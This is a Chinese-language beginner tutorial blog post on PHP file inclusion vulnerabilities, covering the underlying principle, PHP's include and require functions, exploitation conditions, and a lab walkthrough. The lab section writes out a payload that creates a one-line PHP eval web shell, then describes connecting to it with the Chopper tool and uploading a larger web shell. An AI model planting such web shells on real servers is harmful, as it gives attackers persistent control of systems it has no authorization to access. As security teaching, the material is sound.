美文网首页网络安全实验室从0到1玩转网络安全网络与信息安全
从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】

从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】

作者: _07 | 来源:发表于2018-05-28 17:30 被阅读19次

    概述

    程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为包含。

    程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。

    几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP、ASP、ASP.NET程序中比较少。


    一、原理分析

    大多数Web 语言都可以使用文件包含操作,其中PHP 语言所提供的文件包含功能太强大、太灵活,所以文包含漏洞经常出现在PHP 语言中。

    简单的说,文件包含就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。


    二、PHP文件包含函数

    PHP中提供了四个文件包含的函数,分别为:

    • include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

    • include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

    • require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

    • require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。


    三、利用条件

    1. 参数配置allow_url_fopen=On(开启本地包含),allow_url_include=On (开启远程包含)


      image.png
    2. 用户可以控制文件包含的输入


    四、文件包含漏洞利用

    1. 读取敏感文件

      • 利用条件
        1. 目标主机文件存在
        2. 具有文件可读权限
        3. 任意文件读取
      • 示例


        image.png
    2. 读取本地文件

      • 示例


        image.png
    3. 传输PHP文件(使用base64获取源码)

      • 示例


        image.png
    4. 执行PHP命令(php://input

      • 示例


        image.png

    五、实验

    实验目的:
    利用文件包含漏洞,写入木马并执行上传Web Shell

    实验步骤:
    Step1:利用文件包含漏洞执行PHP命令

    语法:

    <?php fputs(fopen("2.php","w"),"<?php @eval(\$_POST['hacker'])?>");  ?>
    //打开1.php文件并写入一句话木马
    
    • 如图:


      image.png

    Step2:访问刚创建的文件

    • 如图:


      image.png

    Step3:用菜刀连接

    • 如图:


      image.png

    Step4:右击->上传文件(上传大马)

    • 如图:


      image.png

    Step5:访问大马

    • 如图:


      image.png

    Step6:输入密码进入操作页,拿到Web Shell


    image.png

    注:《白帽子讲Web安全》中有一句话:互联网本来是安全的,自从有了研究安全的人之后,互联网就变得不安全了。
    所以,小编希望大家都是白帽子,而不是一群只会搞恶作剧的骇客。

    小编也在学习,写的不好见谅。
    从0到1学习网络安全 【目录】
    小编最近建了交流群方便大家交流学习,群内有小编平时整理的学习资料、视频、工具等。
    白帽交流群 【简介】
    感谢大家支持。

    相关文章

      网友评论

        本文标题:从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】

        本文链接:https://www.haomeiwen.com/subject/kdrgjftx.html